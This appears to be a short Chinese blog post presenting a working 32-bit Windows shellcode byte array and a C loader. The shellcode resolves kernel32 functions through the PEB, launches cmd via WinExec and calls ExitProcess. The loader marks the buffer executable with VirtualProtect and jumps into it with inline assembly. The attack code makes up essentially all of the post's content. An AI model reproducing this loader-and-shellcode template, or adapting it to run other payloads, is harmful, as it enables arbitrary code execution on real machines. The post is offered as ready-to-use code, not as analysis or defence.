shellcode启动cmd加退出进程和写保护

 char shellcode[] =
		"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
		"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
		"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
		"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
		"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
		"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
		"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
		"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
		"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
		"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
		"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
		"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
		"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
		"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
		"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
		"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
		"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
		"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
		"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
		"\x24\x20\x57\xFF\xD0";

	 int len = strlen(shellcode);
	 DWORD l = 0;
	 printf("shellcode length %d bytes\n", len);
	VirtualProtect(shellcode, len, PAGE_EXECUTE_READWRITE, &l);
	 system("pause");
	 __asm
	 {
		 lea eax, shellcode
			 jmp eax
	 }

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值